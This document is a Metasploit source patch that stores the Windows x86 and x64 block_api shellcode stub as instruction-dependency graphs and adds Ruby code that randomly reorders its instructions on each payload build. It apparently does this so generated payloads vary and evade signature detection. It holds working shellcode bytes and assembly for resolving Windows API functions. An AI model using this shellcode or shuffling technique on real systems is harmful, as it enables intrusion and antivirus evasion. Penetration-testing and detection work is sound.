From cfae4c76d0f23e4354ad12d445a8b0f427381f4e Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 6 Jul 2020 17:40:44 -0400 Subject: [PATCH] Shuffle the block API source code every time --- data/shellcode/block_api.x64.graphml | 664 ++++++++++++++++++ data/shellcode/block_api.x86.graphml | 574 +++++++++++++++ lib/msf/core/payload/shuffle.rb | 45 ++ lib/msf/core/payload/windows/block_api.rb | 99 +-- lib/msf/core/payload/windows/x64/block_api.rb | 101 +-- lib/rex/parser/graphml.rb | 12 +- 6 files changed, 1304 insertions(+), 191 deletions(-) create mode 100644 data/shellcode/block_api.x64.graphml create mode 100644 data/shellcode/block_api.x86.graphml create mode 100644 lib/msf/core/payload/shuffle.rb diff --git a/data/shellcode/block_api.x64.graphml b/data/shellcode/block_api.x64.graphml new file mode 100644 index 0000000000..f7f15da89e --- /dev/null +++ b/data/shellcode/block_api.x64.graphml @@ -0,0 +1,664 @@ + + + + + + + + + 0x1000 + block + + 0x1000 + block + + 0x1000 + instruction + 4151 + push r9 + + + 0x1002 + instruction + 4150 + push r8 + + + 0x1004 + instruction + 52 + push rdx + + + 0x1005 + instruction + 51 + push rcx + + + 0x1006 + instruction + 56 + push rsi + + + 0x1007 + instruction + 4831d2 + xor rdx, rdx + + + 0x100a + instruction + 65488b5260 + mov rdx, qword ptr gs:[rdx + 0x60] + + + 0x100f + instruction + 488b5218 + mov rdx, qword ptr [rdx + 0x18] + + + 0x1013 + instruction + 488b5220 + mov rdx, qword ptr [rdx + 0x20] + + + + + + + + + + + + + 0x1017 + block + + 0x1017 + block + + 0x1017 + instruction + 488b7250 + mov rsi, qword ptr [rdx + 0x50] + + + 0x101b + instruction + 480fb74a4a + movzx rcx, word ptr [rdx + 0x4a] + + + 0x1020 + instruction + 4d31c9 + xor r9, r9 + + + + + 0x1023 + block + + 0x1023 + block + + 0x1023 + instruction + 4831c0 + xor rax, rax + + + 0x1026 + instruction + ac + lodsb al, byte ptr [rsi] + + + 0x1027 + instruction + 3c61 + cmp al, 0x61 + + + 0x1029 + instruction + 7c02 + jl 0x102d + + + + + + + + 0x102b + block + + 0x102b + block + + 0x102b + instruction + 2c20 + sub al, 0x20 + + + + + 0x102d + block + + 0x102d + block + + 0x102d + instruction + 41c1c90d + ror r9d, 0xd + + + 0x1031 + instruction + 4101c1 + add r9d, eax + + + 0x1034 + instruction + e2ed + loop 0x1023 + + + + + + + 0x1036 + block + + 0x1036 + block + + 0x1036 + instruction + 52 + push rdx + + + 0x1037 + instruction + 4151 + push r9 + + + 0x1039 + instruction + 488b5220 + mov rdx, qword ptr [rdx + 0x20] + + + 0x103d + instruction + 8b423c + mov eax, dword ptr [rdx + 0x3c] + + + 0x1040 + instruction + 4801d0 + add rax, rdx + + + 0x1043 + instruction + 668178180b02 + cmp word ptr [rax + 0x18], 0x20b + + + 0x1049 + instruction + 7572 + jne 0x10bd + + + + + + + + + + + + + 0x104b + block + + 0x104b + block + + 0x104b + instruction + 8b8088000000 + mov eax, dword ptr [rax + 0x88] + + + 0x1051 + instruction + 4885c0 + test rax, rax + + + 0x1054 + instruction + 7467 + je 0x10bd + + + + + + + 0x1056 + block + + 0x1056 + block + + 0x1056 + instruction + 4801d0 + add rax, rdx + + + 0x1059 + instruction + 50 + push rax + + + 0x105a + instruction + 8b4818 + mov ecx, dword ptr [rax + 0x18] + + + 0x105d + instruction + 448b4020 + mov r8d, dword ptr [rax + 0x20] + + + 0x1061 + instruction + 4901d0 + add r8, rdx + + + + + + + + + 0x1064 + block + + 0x1064 + block + + 0x1064 + instruction + e356 + jrcxz 0x10bc + + + + + 0x1066 + block + + 0x1066 + block + + 0x1066 + instruction + 48ffc9 + dec rcx + + + 0x1069 + instruction + 418b3488 + mov esi, dword ptr [r8 + rcx*4] + + + 0x106d + instruction + 4801d6 + add rsi, rdx + + + 0x1070 + instruction + 4d31c9 + xor r9, r9 + + + + + + + + 0x1073 + block + + 0x1073 + block + + 0x1073 + instruction + 4831c0 + xor rax, rax + + + 0x1076 + instruction + ac + lodsb al, byte ptr [rsi] + + + 0x1077 + instruction + 41c1c90d + ror r9d, 0xd + + + 0x107b + instruction + 4101c1 + add r9d, eax + + + 0x107e + instruction + 38e0 + cmp al, ah + + + 0x1080 + instruction + 75f1 + jne 0x1073 + + + + + + + + + + + + + + 0x1082 + block + + 0x1082 + block + + 0x1082 + instruction + 4c034c2408 + add r9, qword ptr [rsp + 8] + + + 0x1087 + instruction + 4539d1 + cmp r9d, r10d + + + 0x108a + instruction + 75d8 + jne 0x1064 + + + + + + + 0x108c + block + + 0x108c + block + + 0x108c + instruction + 58 + pop rax + + + 0x108d + instruction + 448b4024 + mov r8d, dword ptr [rax + 0x24] + + + 0x1091 + instruction + 4901d0 + add r8, rdx + + + 0x1094 + instruction + 66418b0c48 + mov cx, word ptr [r8 + rcx*2] + + + 0x1099 + instruction + 448b401c + mov r8d, dword ptr [rax + 0x1c] + + + 0x109d + instruction + 4901d0 + add r8, rdx + + + 0x10a0 + instruction + 418b0488 + mov eax, dword ptr [r8 + rcx*4] + + + 0x10a4 + instruction + 4801d0 + add rax, rdx + + + 0x10a7 + instruction + 4158 + pop r8 + + + 0x10a9 + instruction + 4158 + pop r8 + + + 0x10ab + instruction + 5e + pop rsi + + + 0x10ac + instruction + 59 + pop rcx + + + 0x10ad + instruction + 5a + pop rdx + + + 0x10ae + instruction + 4158 + pop r8 + + + 0x10b0 + instruction + 4159 + pop r9 + + + 0x10b2 + instruction + 415a + pop r10 + + + 0x10b4 + instruction + 4883ec20 + sub rsp, 0x20 + + + 0x10b8 + instruction + 4152 + push r10 + + + 0x10ba + instruction + ffe0 + jmp rax + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x10bc + block + + 0x10bc + block + + 0x10bc + instruction + 58 + pop rax + + + + + 0x10bd + block + + 0x10bd + block + + 0x10bd + instruction + 4159 + pop r9 + + + 0x10bf + instruction + 5a + pop rdx + + + 0x10c0 + instruction + 488b12 + mov rdx, qword ptr [rdx] + + + 0x10c3 + instruction + e94fffffff + jmp 0x1017 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/shellcode/block_api.x86.graphml b/data/shellcode/block_api.x86.graphml new file mode 100644 index 0000000000..f9b0949b67 --- /dev/null +++ b/data/shellcode/block_api.x86.graphml @@ -0,0 +1,574 @@ + + + + + + + + + 0x1000 + block + + 0x1000 + block + + 0x1000 + instruction + 60 + pushal + + + 0x1001 + instruction + 89e5 + mov ebp, esp + + + 0x1003 + instruction + 31c0 + xor eax, eax + + + 0x1005 + instruction + 648b5030 + mov edx, dword ptr fs:[eax + 0x30] + + + 0x1009 + instruction + 8b520c + mov edx, dword ptr [edx + 0xc] + + + 0x100c + instruction + 8b5214 + mov edx, dword ptr [edx + 0x14] + + + + + + + + + + + 0x100f + block + + 0x100f + block + + 0x100f + instruction + 8b7228 + mov esi, dword ptr [edx + 0x28] + + + 0x1012 + instruction + 0fb74a26 + movzx ecx, word ptr [edx + 0x26] + + + 0x1016 + instruction + 31ff + xor edi, edi + + + + + 0x1018 + block + + 0x1018 + block + + 0x1018 + instruction + ac + lodsb al, byte ptr [esi] + + + 0x1019 + instruction + 3c61 + cmp al, 0x61 + + + 0x101b + instruction + 7c02 + jl 0x101f + + + + + + + 0x101d + block + + 0x101d + block + + 0x101d + instruction + 2c20 + sub al, 0x20 + + + + + 0x101f + block + + 0x101f + block + + 0x101f + instruction + c1cf0d + ror edi, 0xd + + + 0x1022 + instruction + 01c7 + add edi, eax + + + 0x1024 + instruction + e2f2 + loop 0x1018 + + + + + + + 0x1026 + block + + 0x1026 + block + + 0x1026 + instruction + 52 + push edx + + + 0x1027 + instruction + 57 + push edi + + + 0x1028 + instruction + 8b5210 + mov edx, dword ptr [edx + 0x10] + + + 0x102b + instruction + 8b4a3c + mov ecx, dword ptr [edx + 0x3c] + + + 0x102e + instruction + 8b4c1178 + mov ecx, dword ptr [ecx + edx + 0x78] + + + 0x1032 + instruction + e348 + jecxz 0x107c + + + + + + + + + + + + 0x1034 + block + + 0x1034 + block + + 0x1034 + instruction + 01d1 + add ecx, edx + + + 0x1036 + instruction + 51 + push ecx + + + 0x1037 + instruction + 8b5920 + mov ebx, dword ptr [ecx + 0x20] + + + 0x103a + instruction + 01d3 + add ebx, edx + + + 0x103c + instruction + 8b4918 + mov ecx, dword ptr [ecx + 0x18] + + + + + + + + + + + 0x103f + block + + 0x103f + block + + 0x103f + instruction + e33a + jecxz 0x107b + + + + + 0x1041 + block + + 0x1041 + block + + 0x1041 + instruction + 49 + dec ecx + + + 0x1042 + instruction + 8b348b + mov esi, dword ptr [ebx + ecx*4] + + + 0x1045 + instruction + 01d6 + add esi, edx + + + 0x1047 + instruction + 31ff + xor edi, edi + + + + + + + + 0x1049 + block + + 0x1049 + block + + 0x1049 + instruction + ac + lodsb al, byte ptr [esi] + + + 0x104a + instruction + c1cf0d + ror edi, 0xd + + + 0x104d + instruction + 01c7 + add edi, eax + + + 0x104f + instruction + 38e0 + cmp al, ah + + + 0x1051 + instruction + 75f6 + jne 0x1049 + + + + + + + + + + 0x1053 + block + + 0x1053 + block + + 0x1053 + instruction + 037df8 + add edi, dword ptr [ebp - 8] + + + 0x1056 + instruction + 3b7d24 + cmp edi, dword ptr [ebp + 0x24] + + + 0x1059 + instruction + 75e4 + jne 0x103f + + + + + + + 0x105b + block + + 0x105b + block + + 0x105b + instruction + 58 + pop eax + + + 0x105c + instruction + 8b5824 + mov ebx, dword ptr [eax + 0x24] + + + 0x105f + instruction + 01d3 + add ebx, edx + + + 0x1061 + instruction + 668b0c4b + mov cx, word ptr [ebx + ecx*2] + + + 0x1065 + instruction + 8b581c + mov ebx, dword ptr [eax + 0x1c] + + + 0x1068 + instruction + 01d3 + add ebx, edx + + + 0x106a + instruction + 8b048b + mov eax, dword ptr [ebx + ecx*4] + + + 0x106d + instruction + 01d0 + add eax, edx + + + 0x106f + instruction + 89442424 + mov dword ptr [esp + 0x24], eax + + + 0x1073 + instruction + 5b + pop ebx + + + 0x1074 + instruction + 5b + pop ebx + + + 0x1075 + instruction + 61 + popal + + + 0x1076 + instruction + 59 + pop ecx + + + 0x1077 + instruction + 5a + pop edx + + + 0x1078 + instruction + 51 + push ecx + + + 0x1079 + instruction + ffe0 + jmp eax + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x107b + block + + 0x107b + block + + 0x107b + instruction + 5f + pop edi + + + + + 0x107c + block + + 0x107c + block + + 0x107c + instruction + 5f + pop edi + + + 0x107d + instruction + 5a + pop edx + + + 0x107e + instruction + 8b12 + mov edx, dword ptr [edx] + + + 0x1080 + instruction + eb8d + jmp 0x100f + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/msf/core/payload/shuffle.rb b/lib/msf/core/payload/shuffle.rb new file mode 100644 index 0000000000..6f42e7bfca --- /dev/null +++ b/lib/msf/core/payload/shuffle.rb @@ -0,0 +1,45 @@ +# -*- coding: binary -*- + +require 'rex/parser/graphml' + +## +# This module contains a helper function for generating payloads from a shuffled +# set of instructions loaded from a special file. +## +module Msf::Payload::Shuffle + + def shuffle_instructions(file_name) + file_path = File.join(Msf::Config.install_root, 'data', 'shellcode', file_name + '.graphml') + graphml = Rex::Parser::GraphML.parse(file_path) + + # build an array of all of the graphs representing basic blocks, sorted by their address + blocks = graphml.graphs.filter { |graph| graph.attributes['type'] == 'block' }.sort_by { |graph| graph.attributes['address'] } + blocks.map { |block| process_block(block) }.flatten + end + + private + + def process_block(block) + path = [] + instructions = block.nodes.select { |id,node| node.attributes['type'] == 'instruction' } + + # the initial choices are any node without a predecessor (dependency) + targets = block.edges.map { |edge| edge.target } + choices = instructions.values.filter { |node| !targets.include? node.id } + while !choices.empty? + selection = choices.sample + choices.delete(selection) + path << selection + + successors = selection.target_edges.map { |edge| instructions[edge.target] } + successors.each do |successor| + next if path.include? successor + next if !successor.source_edges.map { |edge| path.include? instructions[edge.source] }.all? + choices << successor + end + end + + path.map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') } + end + +end diff --git a/lib/msf/core/payload/windows/block_api.rb b/lib/msf/core/payload/windows/block_api.rb index c1fbbf5da1..fbec8717b3 100644 --- a/lib/msf/core/payload/windows/block_api.rb +++ b/lib/msf/core/payload/windows/block_api.rb @@ -1,112 +1,23 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/payload/shuffle' module Msf - ### # # Basic block_api stubs for Windows ARCH_X86 payloads # ### - - module Payload::Windows::BlockApi + include Msf::Payload::Shuffle + def asm_block_api(opts={}) - - raw = %q^ - - api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) - mov edx, [fs:eax+48] ; Get a pointer to the PEB - mov edx, [edx+12] ; Get PEB->Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name - loop_modname: ; - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov ecx, [edx+60] ; Get PE header - - ; use ecx as our EAT pointer here so we can take advantage of jecxz. - mov ecx, [ecx+edx+120] ; Get the EAT from the PE header - jecxz get_next_mod1 ; If no EAT present, process the next module - add ecx, edx ; Add the modules base address - push ecx ; Save the current modules EAT - mov ebx, [ecx+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - mov ecx, [ecx+24] ; Get the number of function names - ; now ecx returns to its regularly scheduled counter duties - - ; Computing the module hash + function hash - get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want - loop_funcname: ; - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... - finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... - - get_next_mod: ; - pop edi ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - ^ + instructions = shuffle_instructions('block_api.x86') + (['api_call:'] + instructions.map { |chunk| ' ' + chunk }).join("\n") + "\n" end - end - end - diff --git a/lib/msf/core/payload/windows/x64/block_api.rb b/lib/msf/core/payload/windows/x64/block_api.rb index 1de9a25aff..4e8abce7a3 100644 --- a/lib/msf/core/payload/windows/x64/block_api.rb +++ b/lib/msf/core/payload/windows/x64/block_api.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/payload/shuffle' module Msf @@ -12,103 +13,11 @@ module Msf module Payload::Windows::BlockApi_x64 - def asm_block_api(opts={}) + include Msf::Payload::Shuffle - raw = %q^ - api_call: - push r9 ; Save the 4th parameter - push r8 ; Save the 3rd parameter - push rdx ; Save the 2nd parameter - push rcx ; Save the 1st parameter - push rsi ; Save RSI - xor rdx, rdx ; Zero rdx - mov rdx, [gs:rdx+96] ; Get a pointer to the PEB - mov rdx, [rdx+24] ; Get PEB->Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name - loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table, - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - cmp word [rax+24], 0x020B ; is this module actually a PE64 executable? - ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and - ; their may be a PE32 module present in the PEB's module list, (typicaly the main module). - ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48]) - jne get_next_mod1 ; if not, proceed to the next module - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash - get_next_func: ; - jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want - loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... - finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... - get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module - ^ + def asm_block_api(opts={}) + instructions = shuffle_instructions('block_api.x64') + (['api_call:'] + instructions.map { |chunk| ' ' + chunk }).join("\n") + "\n" end end diff --git a/lib/rex/parser/graphml.rb b/lib/rex/parser/graphml.rb index 5834881b94..96c4e2ee56 100644 --- a/lib/rex/parser/graphml.rb +++ b/lib/rex/parser/graphml.rb @@ -231,6 +231,16 @@ module GraphML self.new(id) end + def source_edges + # edges connected to this node + @edges.filter { |edge| edge.target == @id || !edge.directed } + end + + def target_edges + # edges connecting this to other nodes + @edges.filter { |edge| edge.source == @id || !edge.directed } + end + attr_reader :id attr_reader :edges end @@ -358,7 +368,7 @@ module GraphML target_node = element.nodes[edge.target] raise InvalidAttributeError.new('edge', 'target', details: 'undefined target', missing: false) if target_node.nil? source_node.edges << edge - target_node.edges << edge if !edge.directed + target_node.edges << edge end when 'key'